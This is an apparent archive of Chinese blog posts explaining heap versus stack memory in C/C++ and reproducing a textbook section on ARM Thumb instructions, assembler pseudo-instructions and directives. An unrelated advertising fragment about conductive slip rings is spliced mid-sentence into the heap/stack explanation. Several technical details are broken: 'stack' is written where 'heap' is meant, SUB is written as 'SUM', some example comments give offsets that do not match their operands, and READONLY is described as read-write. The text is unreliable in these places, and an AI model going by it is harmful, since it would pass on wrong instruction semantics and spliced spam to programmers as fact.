固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!148.entry 添加评论 堆(heap)和栈(stack) 另外一篇: 堆(heap)和栈(stack)是C/C++编程不可避免会碰到的两个基本概念。首先,这两个概念都可以在讲数据 结构的书中找到,他们都是基本的数据结构,虽然栈更为简单一些。 在具体的C/C++编程框架中,这两个概念并不是并行的。对底层机器代码的研究可以揭示,栈是机器系 统提供的数据结构,而堆则是C/C++函数库提供的。 具体地说,现代计算机(串行执行机制),都直接在代码底层支持栈的数据结构。这体现在,有专门的寄 存器指向栈所在的地址,有专门的机器指令完成数据入栈出栈的操作。 这种机制的特点是效率高,支持的数据有限,一般是整数,指针,浮点数等系统直接支持的数据类型, 并不直接支持其他的数据结构。因为栈的这种特点,对栈的使用在程序中是非常频繁的。对子程序的调 用就是直接利用栈完成的。机器的call指令里隐含了把返回地址推入栈,然后跳转至子程序地址的操 作,而子程序中的ret指令则隐含从堆栈中弹出返回地址并跳转之的操作。C/C++中的自动变量是直接利 用栈的例子,这也就是为什么当函数返回时,该函数的自动变量自动失效的原因过孔式导电滑环是中心带孔的一系列导电滑环的统称, 主要用于传输精密信号、微弱电流、大电流、高电压和栈不同,堆的数据结构并不是由系统(无论是机器系统还是操作系统)支持的,而是由函数库提供的。 基本的malloc/realloc/free函数维护了一套内部的堆数据结构。当程序使用这些函数去获得新的内存 空间时,这套函数首先试图从内部堆中寻找可用的内存空间,如果没有可以使用的内存空间,则试图利 用系统调用来动态增加程序数据段的内存大小,新分配得到的空间首先被组织进内部堆中去,然后再以 适当的形式返回给调用者。当程序释放分配的内存空间时,这片内存空间被返回内部堆结构中,可能会 被适当的处理(比如和其他空闲空间合并成更大的空闲空间),以更适合下一次内存分配申请。这套复杂 的分配机制实际上相当于一个内存分配的缓冲池(Cache),使用这套机制有如下若干原因: 1. 系统调用可能不支持任意大小的内存分配。有些系统的系统调用只支持固定大小及其倍数的内存请 求(按页分配);这样的话对于大量的小内存分类来说会造成浪费。 2. 系统调用申请内存可能是代价昂贵的。系统调用可能涉及用户态和核心态的转换。 3. 没有管理的内存分配在大量复杂内存的分配释放操作下很容易造成内存碎片。 堆和栈的对比 从以上知识可知,栈是系统提供的功能,特点是快速高效,缺点是有限制,数据不灵活;而栈是函数库 提供的功能,特点是灵活方便,数据适应面广泛,但是效率有一定降低。栈是系统数据结构,对于进 程/线程是唯一的;堆是函数库内部数据结构,不一定唯一。不同堆分配的内存无法互相操作。栈空间 分静态分配和动态分配两种。静态分配是编译器完成的,比如自动变量(auto)的分配。动态分配由 alloca函数完成。栈的动态分配无需释放(是自动的),也就没有释放函数。为可移植的程序起见,栈的 动态分配操作是不被鼓励的!堆空间的分配总是动态的,虽然程序结束时所有的数据空间都会被释放回 系统,但是精确的申请内存/释放内存匹配是良好程序的基本要素。   19:58 添加评论固定链接引用通告 (0)记录它 固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!147.entry 添加评论 堆和栈 堆和栈 一般认为在c中分为这几个存储区 1栈 - 有编译器自动分配释放 2堆 - 一般由程序员分配释放,若程序员不释放,程序结束时可能由OS回收 3全局区(静态区),全局变量和静态变量的存储是放在一块的,初始化的全局变量和静态变量在一块 区域,未初始化的全局变量和未初始化的静态变量在相邻的另一块区域。 - 程序结束释放 4另外还有一个专门放常量的地方。 - 程序结束释放 在函数体中定义的变量通常是在栈上,用malloc, calloc, realloc等分配内存的函数分配得到的就是 在堆上。在所有函数体外定义的是全局量,加了static修饰符后不管在哪里都存放在全局区(静态 区),在所有函数体外定义的static变量表示在该文件中有效,不能extern到别的文件用,在函数体内 定义的static表示只在该函数体内有效。另外,函数中的"adgfdf"这样的字符串存放在常量区。 比如: 代码: int a = 0; //全局初始化区 char *p1; //全局未初始化区 main() { int b; //栈 char s[] = "abc"; //栈 char *p2; //栈 char *p3 = "123456"; //123456/0在常量区,p3在栈上。 static int c = 0; //全局(静态)初始化区 p1 = (char *)malloc(10); p2 = (char *)malloc(20); //分配得来得10和20字节的区域就在堆区。 strcpy(p1, "123456"); //123456/0放在常量区,编译器可能会将它与p3所指向的"123456"优化成一块。 } 还有就是函数调用时会在栈上有一系列的保留现场及传递参数的操作。 栈的空间大小有限定,vc的缺省是2M。栈不够用的情况一般是程序中分配了大量数组和递归函数层次太 深。有一点必须知道,当一个函数调用完返回后它会释放该函数中所有的栈空间。栈是由编译器自动管 理的,不用你操心。 堆是动态分配内存的,并且你可以分配使用很大的内存。但是用不好会产生内存泄漏。 并且频繁地malloc和free会产生内存碎片(有点类似磁盘碎片),因为c分配动态内存时是寻找匹配的 内存的。而用栈则不会产生碎片。 在栈上存取数据比通过指针在堆上存取数据快些。 一般大家说的堆栈和栈是一样的,就是栈(stack),而说堆时才是堆heap. 栈是先入后出的,一般是由高地址向低地址生长。     19:58 添加评论固定链接引用通告 (0)记录它 固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!146.entry 添加评论 10月22日 arm指令系统2- - arm指令系统2- - 首先详细介绍ARM指令集,ARM指令集包括标准ARM指令集和Thumb指令集,并介绍ARM的宏汇编以及ARM汇编语言编程。 3.3.1 Thumb Load/Store类指令 1 Thumb单寄存器Load/Store指令 Thumb单寄存器传送类指令是ARM单寄存器传送类指令的一个子集,和ARM有相同的指令格式。 Thumb单寄存器传送指令分以下4种: (1) LDR和STR—立即数偏移功能:读取寄存器和存储寄存器。寄存器的地址用一个寄存器的数偏移量指明,立即数偏移的半字和字节读取是无符号的。 格式:<操作码>Rd,[Rn,<#immed_5*N>]<操作码>包括:LDR,LDRB,STR,STRH和STRH指令其中: H 指明无符号半字传送。 B 指明无符号字节传送 RD 读取和存储寄存器。Rd必须在R0—R7范围内 RN 基址寄存器.Rn必须在R0—R7范围内 Immed_5*N 偏移量。Immed_5是一个表达式,其中值在0--31范围内,在汇编时结果是的N倍数. 对字节传送,N=1 对半字传送,N=2az 对字传送, N=4 注释:字传送的地址必须可被4整除,半字传送的地址必须可被2整除. 若系统中有系统协处理器(CP15),则可允许对准检查。若允许对准检查,则非对准的传送会引起对准异常若系统没有协处理系统器(CP15)或禁止对准检查,则:非对准读取使Rd不可靠非对准存使存储器的2个或4个字节不可靠。对半字存储,不可靠的存储器位置是address AND NOT 0x1; 于字存储器,则是address AND NOT 0x3 例: LDR R3,[R5,#0] ;(R5)→R3 STRB R0,[R3,#3] ;(R0)→((R3)+31) STRH R7,[R3,#16] ;(R7)→((R3)+16) LDRH R2,[R4,#Label—{PC}] (2) LDR和STR---寄存器偏移功能:读取寄存器和存储寄存器。存储器的地址用一个寄存器的基于寄存器偏移指明存储器地址。 格式:《操作码》Rd,[Rn,Rm] 《操作码》是下列情况之一:读取寄存器,4字节字存储寄存器,2字节字读取寄存器,2字节无符号半字读取寄存器,2字节字有符号半字,有符号位扩展(即高位字节与符号字节相同)存储寄存器,2字节半字读取寄存器,无符号半字读取寄存器,有符号半字,有符号位扩展(即高位字节与符号位相同)存储寄存器,字节含偏移量的寄存器,Rm必须在R0~R7范围内 注释:同3.3.1节第1条指令。例: LDR R2,[R1,R5]; ((R1)+(R5))---R2 STRH R0,[R0,R1]; (R0)---((R0)+(R1)) STRB R1,[R7,R0]; (R1)---(R7)+(R0) (3) LDR----PC相对偏移功能:读取寄存器和存储器。存储器中的地址用中内容的立即数偏移指明。字节码结构: 格式: LDR Rd,[PC,#immed_8*4] LDR Rd,Label 其中: immed_8*4偏移量。它是一个表达式,取值(在汇编时)为4的整数倍,范围在0~1020内。 Label 程序相对偏移表达式。必须在当前指令之后且范围内。 注释:同3.3.1节第1条指令例:+ LDR R2,[PC,#1016]; ((PC)+1026)---R2 LDR R5,localdata (4) LDR和STR---SP相对偏移功能:读取寄存器和存储寄存器。存储器的地址用中内容的立即数偏移指明。 格式:LDR Rd,[SP,#immed_8*4] STR Rd,[SP,#immed_8*4] 其中: immed_8*4 偏移量。它是一个表达式,取值(在汇编时)为4的整数倍,范围在0~1020内。 注释:同3.3.1节第1条指令。例: LDR R0,[SP,#920]; ((SP)+920)---R0 STR R1,[SP,#20]; (R1)---(SP)+20 2 Thumb多寄存器指令功能:Load和多个Store寄存器 格式:(1)LDMIA Rn!, (2)STMIA Rn!, 其中: Reglist 低寄存器或低寄存范围的,用逗号隔开的列表。列表中至少有一个寄存器。 Rn 目的寄存器,必须是低于寄存器 注释:(1)寄存器以数字顺序取或存储。最低数字的寄存器在的初地址中。的值以中寄存器个数的4倍增加。(2)若在Rn寄存器列表中,则对于LDMIA指令,Rn的最终值是读取的值,不是增加后的地址。对于STMIA指令,Rn的终值有如以下两种情况: ---若是寄存器列表中最低的寄存器,则的存储值为初值; ---其他情况则不可预知。例: LDMIA R3!,(R0,R4); (R0)---(R3),(R4)---(R3)+4; (R3)+8---R3 STMIA R0!,(R3,R5,R7);((R0)--R3,((R0)+4)---R5, ;((R0)+8)---R7,(R0)+12---R0 3 堆栈指令功能:低寄存器和可选的LR进栈,低寄存器和可选的PC出栈。 格式:POP {《REglist》{,PC}} PUSH {{,LR}} 其中:Reglist 低寄存器或寄存器范围的,用逗号隔开的列表。 注释:(1)Thumb堆栈是满递减堆栈,向下增长,且SP指向堆栈的最后入口。(2)寄存器以数字顺序存储在堆栈中。最低数字的寄存器其地址最低。(3)POP{Reglist}这条指令引起处理器转移到从堆栈弹出给PC的地址,这通常是从子程序返回,其中LR在子程序开头压进堆栈。(4)对于ARMv5T及以上的版本,则若读到PC中的值的位[1:0]是b00,则处理器变换到ARM状态位[1:0]不允许的值b10。(5)条件码标志。这些指令不影响条件码标志。例: PUSH {R0,R4---R7} ;R0,R4---R7进栈- PUSH {R0,LR} POP {R2,R5} POP {R0---R7,PC} 3.3.2 Thumb数据运算类指令 Thumb数据运算指令有以下8种: 1 ADD和SUM-----低寄存器功能:2个寄存器的,内容相加或相减,结果放到第3个寄存器中。 格式:Rd,Rn,Rm 包括:ADD,SUB指令。其中: Rd 目的寄存器。必须是低寄存器 Rn 第操作寄存器。必须是低寄存器 Rm 第2操作寄存器。必须是低寄存器。 注释:这些指令更新标志N,Z,C,V。例:ADD R3,R1,R5。 2 ADD和SUB----小整数功能:寄存器中的值加上或减去一个小整数,结果放在另一个不同寄存器中。 格式: Rd,Rn,# 包括:ADD,SUB指令。其中: Rd目的寄存器。必须是低寄存器(R0~R7) Rn第1操作数寄存器。必须是低寄存器(R0~R7) Expr3 表达式,为取值范围在—7~+7内的整数。注释:这些指令更新标志N,Z,C,V. 例:SUB R0,R4,#5 ; (R4)---5---R0 3 ADD,SUB,MOV,CMP----大整数功能:寄存器中的值对于一个大事整数进行ADD,SUB,MOV,CMP运算,结果放在另一个不同的寄存器中。 格式: Rd|Rn,# 包括:ADD,SUB,MOV,CMP指令。其中: Rd,Rn 目的寄存器。必须是低寄存器(R0~R7) Expre8 表达式,为取值范围在—255~+255内的整数。 注释:这些指令更新标志N,Z,C,V. 例: ADD R7,#201 ADD R1,vc+4 ; vc+4汇编时必取值范围为—255~+255的整数 4 ADD,MOV,CMP----高或低寄存器功能:将寄存器中值进行运算,结果送回到第一操作数寄存器。 格式: Rd|Rn,Rm 包括:ADD,MOV,CMP指令。其中: Rd,Rn目的寄存器,也是第1操作数寄存器。 Rm第二操作数寄存器。 Rd,Rn,Rm使用高或低寄存器,当和是低寄存器,指令"ADD,Rd,Rm"汇编成"ADD Rd,Rm"。注释:若Rd,Rn和Rm是低寄存器,则更新条件码标志N,Z,C和V,其他情况下这些标志不受影响。例:ADD R0,R8 ADD R2,R4 ; 等价于"ADD R2,R2,R4",不影响标志。 5 ADD和SUB----SP 功能:SP加上或减去立即数常量。 格式: SP,# 包括:ADD,SUB指令。其中: expr表达式,取值范围在—508~+508内的4倍数的整数。expr为负值的ADD指令汇编成相应的带正数常量的指令。expr为负值的指令汇编相应的带正数常量的ADD指令。 注释:这条指令指示不影响条件码标志。例: ADD SP,#312 SUB SP,#96 SUB SP,#abc+8; abc+8汇编时必须取值为范围在---508~+508内4的整数倍。 6 ADD---PC或SP相对偏移功能:SP或PC值加上一立即相对数常量,结果放入低寄存器。 格式: ADD Rd,Rp,# 其中: Rd 目的寄存器。Rd必须在R0~R7范围内。 Rp SP|PC.RP是PC,则使用值是(当前指令地址+4)AND&FFFFFFC。 Expr 表达式,取值为范围在0~1020的4整倍数。 注释:这条指令不影响条件码标志。例: ADD R2,SP,#64 ADD R6,PC,#980 ADD R0,PC,#lit—{PC}; lit—{PC}必须取值成范围在0~1020的4的 ;整数倍 7 ASR,LSL,LSR和ROR运算功能:移位和循环移位操作。这些指令可使用寄存器中的值或立即数移位。 格式1: Rd,Rn,<#immed_5> 其中:是下列的任何一种: ASR算术右移。将寄存器中的内容看作补码形式的有符号整数。将符号位移拷贝到空位。 LSL逻辑左移,移入为0。 LSR逻辑右移,移入为0。 ROR循环右移。将寄存器右移出的位循环移回到左端。ROR仅能与寄存器控制的移位一起使用。 Rd立即数移位的目的寄存器。必须在R0~R7范围内。 Rn立即数移位的源寄存器。Rn必须在R0~R7范围内。 Immed_5 立即数移位量。它是一个取值为整数的表达式。整数的范围如下:若是LSL,ROR,则为0~31;其余则为1~32。格式2: Rd|Rn,Rs|Rm 其中:同格式1。 Rd 寄存器控制移位的源寄存器。Rd必须在R0~R7范围内。 Rs 在控制移位中包含移位量的寄存器。Rs必须在R0~R7范围内。 注释:(1)立即数移位(格式1)。指令从Rn取值,并对其进行移位,结果放回Rd中。(2)寄存器控制移位(格式2)这些指令从Rd中取值,并对其进行移位,结果放回Rd.只有Rs的最低的效数字节可用作移位量。对于除ROR以外的所有指令,则有若移位量为32,则Rd清零。最后移出的位保留在标志C中。若移位量大于32,则Rd和标志C均被清零。(3)条件码标志这些指令根据结果更新标志N与Z,且不影响标志V。对于标志C,若移位量是零,则它不受影响,其他情况下,它包含源寄存器的最后移出位。例:ASR R3,R5 LSR R0,R2,#6 LSR R%,R5,av; av的值必须在汇编时取成在1~32范围内的整数 LSL R0,R4,#0 ;除了不影响标志C和V外,同"MOV R0,R4" 8 其他运算类指令格式1: Rd|Rn,Rm|Rs 包括:MOV,MVN,CMN,TST,ADC,SBC,NEG,MUL,AND,EOR,ORR,BIC指令。 Rd|Rn,#expr 包括:MOV,CMP指令。 Rd Rn 目的寄存器,它也是包含第1条指令操作数。 Rm Rs 第二操作数寄存器。 Expr 表达式,其值范围为在1~255内的整数。 表3~5 Thumb数据处理指令助记符含义动作 ADC Rd,RmADD Rd,Rn,RmADD Rd,Rn,#0to7ADD Rd,#0to255AND Rd,RmASR Rd,Rm#1to32ASR Rd,RaBIC Rd,RaCMN Rn,RmCMP Rn,#0to255CMP Rn,RmEOR Rd,RmLSL Rd,Rm,#0to31LSL Rd,Rm,#1to32LSR Rd,Rm,#1to32LSR Rd,RsMOV Rd,#0to255MOV Rd,RnMUL Rd,RmMVN Rd,RmNEG Rd,RmORR Rd,RmRORRd,RsSBC Rd,RmSUBRd,Rn,RmSUB Rd,Rn,RmSUB Rd,#0to255TST Rn,Rm带进位加法加法加法加法逻辑与算术右移算术右移位清除比较非值比较比较逻辑异或逻辑左移逻辑左移逻辑右移逻辑右移传送传送乘法传送非取负逻辑或循环右移带进位减法减法减法减法测试Rd---Rd+Rm+进位标志Rd---Rn+RmRd---Rn+3位立即数Rd---Rd+8位立即数Rd---Rd AND RmRd---Rm ASR5位立即数Rd---Rd ASR RsRd---Rd AND NOT RmRn+Rm更新标志Rn—8后立即更新标志Rn—RmRd---Rd EOR RmRd---Rm LSL 5位立即数Rd---Rm LSL RsRd---Rd LSR 5位立即数Rd---Rd LSR RsRd---8位立即数Rd---RnRd---Rm*RdRd---NOT RmRd---0--RmRd---Rd OR RmRd---Rd ROR RsRd--Rd-Rm-NOT(进位标志)Rd---Rn--RmRd---Rn—3位立即数Rd---Rn—8立即数Rn AND Rm后更新标志 注释:(1)除了"CMP RN,Rm"和"MOV Rd,Rm"指令中的和可以是中的Rn,Rm任何寄存器外,其余指令只能使用低寄存器(R0~R7) (2)条件码标志: ADC,SBC,CMP,CMN和NEG指令更新标志N,Z,C和V. AND,EOR,ORR,BIC指令根据结果更新标志N和Z MVN,TST,"MOV Rd,#expr"和指令更新标志N和Z,对标志C和V影响。 "MOV Rd,Rm"指令表现如下:若Rd或Rm是高寄存器(R8~R15),则标志不受影响。若Rd或Rm都是低寄存器(R0~R7),则更新标志N和Z,且清除清除标志C和V。 MUL更新标志N和Z。在ARM v4及前版本中,MUL会使标志C和V不可靠。在ARM v5及以后的版本中,MUL不影响标志C和V。注意:可用移位为0来使用LSL,实现在低寄存器之间传送而不清除标志C,V。例: ADC R2,R4 CMP R7,R12 ; 指令"CMP Rn,Rm"允许高寄存器 MOV R3,#0 TST R2,R4 3.3.3 Thumb转移指令 Thumb 转移指令主要分以下几类: 1 B指令格式1: B 格式2: B 其中: Label 程序相对偏移表达式。通常是在同一代码块内标号。若使用条件码,则必须在当前指令的—254~+254字节范围内;若指令是无条件,则Label必须中正负2KB范围内。 Thumb B指令的条件码如表3--6所示。 表3—6 Thumb B指令条件代码含义标志位状态显示 EQNECS/HSCC/LOMIPLVSVCHILSGELTGTLE相等/是否为0不等进位置/大于进位清零/小于结果为负结果为正溢出无溢出大于小于大于等于小于等于大于小于等于 Z置位Z清零C置位C清零N置位N清零V置位V清零C置位且Z清零C清零或Z置位N等于VN不等于VZ清零或N等于VZ置位或N不等于V 注释:若条件码满足或不使用条件码,则B指令引起处理器转移到Label. 例: B dloop BEQ sectB 2 BL,BLX指令格式: BL{X} 其中: Label 程序相对转移表达式。 注释: BL指令将下一条指令的地址拷贝到R14(LR链接寄存器),并引起处理器转移到Label。机器级指令不能转移到当前正负4MB指令以外的地址。必要时,ARM链接器插入代码(veneer)以允许更长的转移。 BL指令实际上分为2条指令,1条指令H=0,它把11位偏移量左移12位,加上现行PC,写入中R14(LR),另一条指令H=1,它把LR加上11位偏移量乘2写入PC,同时把下一条指令写入R14中。 BLX指令可用于:拷贝下一条指令的地址到R14(LR链接寄存器)。引起处理器转移到Label或Rm存储的地址如果Rm的位[0]清零,或使用"BLX Label"形式,则指令集切换到ARM状态。BLX指令适用于ARM v5T指令系统及以上版本。例: B extract 3 BX,BLX指令格式: B{L}X Rm 其中: Rm 装有目的地址的ARM寄存器,m=0~15。Rm的位[0]I不用于地址部分。若Rm位清零。则位[1]也必须清零;指令清零CPSR中的标志T,目的地址的代码被解释为ARM代码。 注释: BX指令引起处理器转移到Rm存储的地址。若Rm的位[0]置位,则指令集切换到Hhnmb状态。 BLX指令用来在Thumb程序中调用ARM或者子程序,地址由Rm指定。从子程序返回,用BX R14指令。例: BX R5 BLX R6 3.3.4 Thumb软件中断和断点指令 1 Thumb软件中断指令功能:Thumb的SWI指令类似于ARM SWI指令。该指令执行后的操作是:(1)将下一条Thumb指令地址保存进R14_svc。(2)PSR的内容保存进SPSR_svc;(3)禁止IRQ中断,清除Thumb位,进入SVC模式;(4)PC指向0x08。返回指令恢复Thumb执行的状态。格式:SWI 其中: immed_8 符号表达式,其取值范围为的整数。 SWI指令引起SWI异常。这意味着处理器状态切换到ARM态,处理器模式切换到管理模式的,CPSR保存到管理模式中,执行转移SWI到向量地址。处理器忽略immed_8,但immed_8出现在指令操作码的位[7:0]中。而异常处理程序用它来确定正在请求何种服务。注释:这条指令不影响条件码标志。例: SWI 12 2 Thumb断点指令格式: BRKT immed_8 其中: immed_8 符号表达式,取值范围为0~255的整数。 注释: BKPT(BreakPoinT)指令引起处理器进入调试模式。调试工具利用这一特点调查到达特定地址的指令时的系统状态。尽管immed_8出现在指令操作码的位[7:8]中,处理器忽略immed_8。调试器用它来存储有关断点的附加消息。 BKPT指令适用于ARM v5T指令系统及以上版本。例: BKPT 67 BKPT 2_10110 3.3.5 Thumb指令示例 1 从Thumb状态到ARM状态 ADR R1,oct of Thumb MOV R11,R1 BX R11 ...... ALIGN CODE32 Out of Thumb ...... 2 ARM和Thumb指令编写的比较本节最后通过比较ARM和Thumb指令编写"Hello Word"程序,示例Thumb指令的编写。从下面的例子中可以看到,指令Thumb的执行必须由ARM状态转向Thumb状态,通常BX指令完成。另外在Thumb指令前必须有CODE16伪指令指示汇编器以下指令为Thumb指令。 (1) ARM指令编写的"Hello Word"程序 AREA HelloW,CODE,READONLY SWI_WriteC EQU &0; SWI中断入口 SWI_Exit EQU &11 ENTRY START ADR R1,TEXT LOOP LDRB R0,[R1],#1 CMP R0,#0 SWINE SWI_WriteC;参数&0完成显示成输出 BNE LOOP SWI SWI_Exit;参数&11返回 TEXT = "Hello Word";&0a,&0d,0 END (2) Thumb指令编写的"Hello Word"程序 AREA HelloW_Thumb,CODE,READONLY SWI_WriteC EQU&0 SWI_Exit EQU&11 ENTRY CODE32 ;指示以下为ARM指令 ADR R0,START+1 BX R0 ;转向Thumb程序 CODE16 ;指示以下指令为Thumb指令 START ADR R1,TEXT LOOP LDRB R0,[R1] ADD R1,R1,#1 CMP R0,#0 BEQ DONE ;转向Thumb子程序DONE SWINE SWI_WriteC B LOOP DONE SWI SWI_Exit ALIGN TEXT DATA = "Hello World",&0d,0 END 3.4 ARM宏汇编本节将详尽地介绍汇编器所提供的特征,包括伪指令,宏汇编以及指示标志。 3.4.1 预定义变量 1 预定义变量的寄存器的协处理器名 ARM汇编器对ARM的寄存器进行了预定义,所有的寄存器和协处理器都是大小写敏感的。预定义的寄存器如表3—7所示。(1) 定义的寄存器名 R0~R15 R0~r15 a1~a4 v1~v8 sp和SP Ir和LR Pc和PC Sl和SL 表3---7为ARM寄存器列表及含义寄存器特殊定义其它定义含义 R15R14R13R12R11R10R9R8R7R6R5R4R3R2R1R0V8V7V6V5V4V3V2V1a4a3a2a1PCLRSPIPFPSLSBWR程序计数器链接寄存器堆栈指针程序调用暂存寄存器变量寄存器8/帧指针(ARM状态)变量寄存器7/堆栈上限指针(ARM)变量寄存器6/基址寄存器(进程ID/重入/共享库中)变量寄存器5变量寄存器4(Thumb状态工作寄存器)变量寄存器3变量寄存器2变量寄存器1参数/结果/暂寄存器4参数/结果/暂寄存器3参数/结果/暂寄存器2参数/结果/暂寄存器1 R0~R3通常用来传递参数和保存结果,也可以保存子程序调用的中间结果,在ARM状态下,R12(也称为IP)通常也保存子程序调用的中间结果。R14~R11通常保存程序的局部变量,也可以用V1~V8表示,但是V1~V4只能在Thumb状态下使用。 R12~R15一般有特殊用途,也通常称为IP,SP,LR,PC。(1)定义的程序状态寄存器名 cpsr和CPSR spsr和SPSR (2)定义的浮点数寄存器名 f0~f7 F0~F7 (3)定义的协处理器名 p0~p15 c0~c15 2 内置变量表3—8列出了ARM汇编器所定义的内置变量,值得注意的是内置变量的设置不能用SETA,SETL,或SETS等表示词来设置,只能用字符或条件表达式来设置。例如: IF {ARCHITECTURE}="4T" 表3—8 变量含义(PC )或者(VAR)或者@(TRUE)(FALSE)(OPT)(CONFIG)(ENDIAN)(CODESIZE)(CPU)(ARCHITECTURE)(PCSTOREOFFSET)当前指令的地址存储区计数器的当前值逻辑常量为真逻辑常量为假当前设置列表选项,OPT用来保存当前列表选项,改变选项值,恢复设置它的原始值如果汇编器在ARM模式下值为32,如果汇编在Thumb 模式下值为16如果汇编器在big—endian模式下为big,如果汇编器在某些方面little—endian模式下值为little如果汇编Thumb代码值为16,否则为32选定的CPU符号,如果没有说明,则为genericARM选定的ARM架构的值,3,3M,4,4T,4TxMSTRpc,[...]或STM Rb,(...PC)的地址和PC的存储值之间的偏移量 3.4.2 伪指令 ARM汇编器采用两类伪指令,一类是为ARM伪指令,另一类是Thumb伪指令。在ARM状态下可以使用的伪指令如下: 1 ADR伪指令功能:把程序相关的或寄存器相关的地址调进寄存器中。 格式:ADR{condition} register,expression 其中: register 读取的寄存器。 Expression 程序相关的或寄存器相关的表达式,必须是: 255字节以内的非字对准地址; 1020字节以内的字对准地址。寄存器相关的表达式由1个寄存器加或减1个数字常数组成(见"ⅴ"或者MPA介绍。)程序相关的表达式由PC加或减1个数字组成,一般它可为标号或加减数字表达式。 注释: ADR伪指令通常汇编成一条指令,汇编器产生一条ADD或SUB指令以读入地址。如果表达式是关于程序相关的,读取地址只能是ADR伪指令所在代码所在的地址。例: start MOV R0,#10 ADR R4,start ; 等同于SUB,R4,PC,#0xc 2 ADRL伪指令功能:与ADR功能类似,但是可以调进范围更广的地址。 格式: ADR{condition} register,expression 其中: register 读取的寄存器。 Expression 程序相关的或相关的表达式,必须是: 64KB以内的非对准地址; 256KB以内的字对准地址。 注释: ADRL伪指令通常汇编成2条指令,即使地址在第1条指令已经产生,也会产生1条冗余指令。如果表达式是关于程序表达式相关的,读取地址只能是ADRL伪指令所在的代码段所在的地址。注意:该指令只能在ARM状态下使用,在Thumb状态下不能使用。例: start MOV R0,#10 ADRL R4,start+60000;等同于ADD R4,PC,#0xE800 等同于ADD R4,R4,#0x254 3 LDFD伪指令功能:将一个双精度的浮点常量放进 格式: LDFD{condition} fp-register,=expression 其中: condition 可选的条件代码。 fp-register 读取的浮点寄存器。 Expression 浮点常量。汇编器通常把放在一个库中,用LDFD伪指令读进浮点寄存器中,该浮点常量用2个字存放。PC与该常量的偏移量不得超过4KB。 注释:浮点数常量的范围是:最大值 1.79769313486231571e+308 最小值2.22507385850720138e—308ADR 注意;只有系统中有浮点加速器FPA(Floating Point Accelerator)时,才能使用该指令。例: LDFD f1,=3.12E106 4 LDFS 伪指令功能:将一个单精度的浮点数常量放进一个浮点数寄存器。 格式: LDFS{condition} fp-register,=expression 其中: condition 可选的条件代码。 fp-register 读取的浮点寄存器。 Expression 浮点常量。汇编器通常把该常量放在一个库中,用LDFD伪指令读进浮点寄存器中,该浮点常量用2个字存放。PC与该常量的偏移量不得超过4KB。 注释:浮点数常理的范围是:最大值:3.40282347e+38F 最小值:1.17549435e—38F 注意:只有系统中有一个浮点加速器时,才能使用该指令。例: LDFS f1,=3.12E---6 5 LDR 伪指令功能:将一个32位常量或地址读取至寄存器。 格式: LDR{condition} register,=[expression|Label-expression] 其中: condition 可选的条件代码。 register 读取的寄存器。 expression 数字常量:如果该数字常量在MOV或MVN指令的范围中,汇编器会产生合适的指令;如果该数字量不在MOV或MVN指令的范围中,汇编器把该常量于程序后,用程序相关的LDR伪指令读取,PC与该常量的偏移量不得超过4KB。 Label-expression 程序相关的或外部的表达式。汇编器将其存放在程序后的常量库(称为文字池(literal pool))中,用程序相关的LDR伪指令读取,PC与与该常量的偏移量不得超过4KB。注释: LDR伪指令的使用有两个目的: 对于不能被MOV和MVN指令所读取的立即数,将其变成常量,进行读取: 将一个程序相关的或外部的表达式读取进寄存器中. 例: LDR R1, =0xfff LDR R2, =place 6 NOP伪指令功能: 产生空操作代码.即:MOV R0,R0. 格式: NOP 注释: 该指令不能带条件使用,也不能改变条件码. ARM汇编器在汇编时将伪指令转换成ARM或Thumb指令,在Thumb状态下可以使用的伪指令如下: 1 ADR Thumb伪指令格式: ADR register, expression 其中: register 读取的寄存器. Expression 程序相关的或寄存器相关的表达式,必须是4~1020字节以内的字对准地址,该地址必须在局部定义. 注释: 在Thumb状态下,ADR伪指令只能产生字对准的地址,通常使用ALIGN符号实现对准.如果表达式是关于程序相关的,读取地址只能是ADR伪指令所在的代码段所在的地址. 例: ADR R4,txampl ; code ALIGN Txampl DCW 0,0,0,0 2 LDR Thumb伪指令功能:将一个32位常量或地址读取低寄存器. 格式: LDR register,=[expression|Label-expression] 其中: register 读取的寄存器,仅限于R0~R7. expression 数字常量:如果该数字常量在MOV指令的范围中,汇编器会产生合适的指令;如果该数字量不在MOV的范围中,汇编器把该常量于程序后,用程序相关的LDR伪指令读取,PC与该常量的偏移量不得超过4KB。 Label-expression 程序相关的或外部的表达式。汇编器将其存放在程序后的常量库. 程序相关的LDR伪指令读进,PC与该常量的偏移量不得超过1KB 如果Label-expression是外部表达式,或者不包含在当前段,汇编器会在目标文件中设置一个链接重定位指示符. 注释: LDR伪指令的使用有两个目的: 对于不能被MOV和MVN指令所读取的立即数,将其变成常量,进行读取: 将一个程序相关的或外部的表达式读取进寄存器中. 例: LDR R1, =0xfff LDR R2, = labelname 3 MOV Thumb伪指令功能: MOV Rd, Rs 其中: Rd 目的寄存器. Rs 源寄存器. 注释:MOV伪指令汇编时即数为0的ADD指令。例: MOV Rd,RS 4 NOP伪指令功能:产生空操作代码。即:MOV R8,R8 格式: NOP 注释:该指令不能带来条件使用,也不能改变条件代码。 3.4.3 指示符 1 AREA 功能:指示汇编器汇编一段新的代码或新的数据区。 格式; name 给出的特定段名。以数字开头,必须加竖线,否则,将报错,例如:|1_Data-Area|。某些名字已保留,如:|C$$code|已经被C编译器用作代码,或者用作与C库相连的代码段。 Attr 段名属性,下列属性是有效的: ALIGN=expression 缺省状态下,AOF段将按4个字节对准,expression可以是2~31之间的整数,该段将按2(上标为expression)字节对准。例如,espression等于10,该段将按1KB对准。 CODE 特定机器指令,缺省为READONLY。 COMDEF 通用段定义。该AOF段可能包括代码和数据,但必须与其他段名相区别。 COMMON 通用数据段,无须再注释定义任何代码和数据,通常由链接器初始化为零。 DATA 包含数据,但是不包含指令,缺省为READWRITE INTERWORK 表明代码段可以适用ARM/Thumb interworking功能。 NOINIT 表明数据段可以初始化为零,只包含指示符。 PIC 表明定位独立段,可以不修改情况下,在任意地址执行。 READONLY 表明该段可读可写。 注释:汇编时,必须至少有一个AREA指示符。使用AREA符号可以将源程序区分,但是必须不重名。通常需要独立的AOF段做为代码或者数据段,较大程序可以分为多个代码段。 AOF段可以定义局部标签的范围,可以使用ROUT符号。如果没有任何的AREA指示符定义,汇编器将会产生名为|$$$$$$$|的AOF段和一条诊断信息,将限制由于缺少指示符而产生的错误信息,但是并不一定会成功汇编。例: AREA Example,CODE,READONLY;一个例子的代码区 .... ; 代码 2 CODE16 